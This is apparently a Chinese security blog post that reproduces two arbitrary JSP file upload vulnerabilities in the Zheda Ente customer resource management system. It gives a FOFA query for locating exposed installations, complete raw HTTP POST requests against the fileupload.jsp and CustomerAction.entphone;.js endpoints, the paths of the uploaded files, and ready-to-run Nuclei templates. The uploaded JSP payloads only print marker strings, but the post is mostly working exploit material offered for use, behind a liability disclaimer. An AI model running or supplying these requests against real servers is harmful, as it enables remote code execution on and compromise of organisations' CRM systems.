一、免责声明:
本次文章仅限个人学习使用,如有非法用途均与作者无关,且行且珍惜;由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号望雪阁及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除整改并向您致以歉意。谢谢!
二、产品介绍:
三、资产梳理:
FOFA:app="浙大恩特客户资源管理系统"
四、漏洞复现:
1、fileupload.jsp接口任意文件上传:
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=66.jsp HTTP/1.1Host: ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 27<%out.println("10086");%>
文件地址:http://ip/enterdoc/uploadfile/66.jsp
2、CustomerAction.entphone;.js 接口任意文件上传:
POST /entsoft/CustomerAction.entphone;.js?method=loadFile HTTP/1.1Host: ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=7156f34e06f36e167731742107ac55f3Content-Length: 197--7156f34e06f36e167731742107ac55f3Content-Disposition: form-data; name="file"; filename="506891.jsp"Content-Type: image/jpeg<%out.print("hello");%>--7156f34e06f36e167731742107ac55f3--
文件地址:http://ip/filepath
五、NUCLEI POC:
1、fileupload.jsp接口任意文件上传:
id: files_uploadinfo:name: files_uploadauthor: joyboyseverity: criticaldescription: http://xxx.xxx.xxx/entsoft_en/entereditor/jsp/fileupload.jsp?filename=66.jspmetadata:: 1: title="欢迎使用浙大恩特客户资源管理系统"verified: truetags: uploadfilerequests:raw:|-POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=66.jsp HTTP/1.1Host: {{Hostname}}: application/x-www-form-urlencoded: gzip, deflate: zh-CN,zh;q=0.9: 805<%out.println("10086");%>|+GET /enterdoc/uploadfile/66.jsp HTTP/1.1Host: {{Hostname}}: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36: truematchers:type: dslcondition: anddsl:'contains((body_2), "10086") && status_code_2 == 200'
2、CustomerAction.entphone;.js 接口任意文件上传:
id: files_uploadinfo:name: files_uploadauthor: joyboyseverity: criticaldescription: http://xxx.xxx.xxx/entsoft/CustomerAction.entphone;.js?method=loadFilemetadata:: 1: title="欢迎使用浙大恩特客户资源管理系统"verified: truetags: uploadfilerequests:raw:|-POST /entsoft/CustomerAction.entphone;.js?method=loadFile HTTP/1.1Host: {{Hostname}}: multipart/form-data; boundary=7156f34e06f36e167731742107ac55f3--7156f34e06f36e167731742107ac55f3: form-data; name="file"; filename="506891.jsp": image/jpeg<%out.print("802824449");%>--7156f34e06f36e167731742107ac55f3--: truematchers:type: dslcondition: anddsl:'contains((body), "filepath") && status_code == 200'
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……




还没有评论,来说两句吧...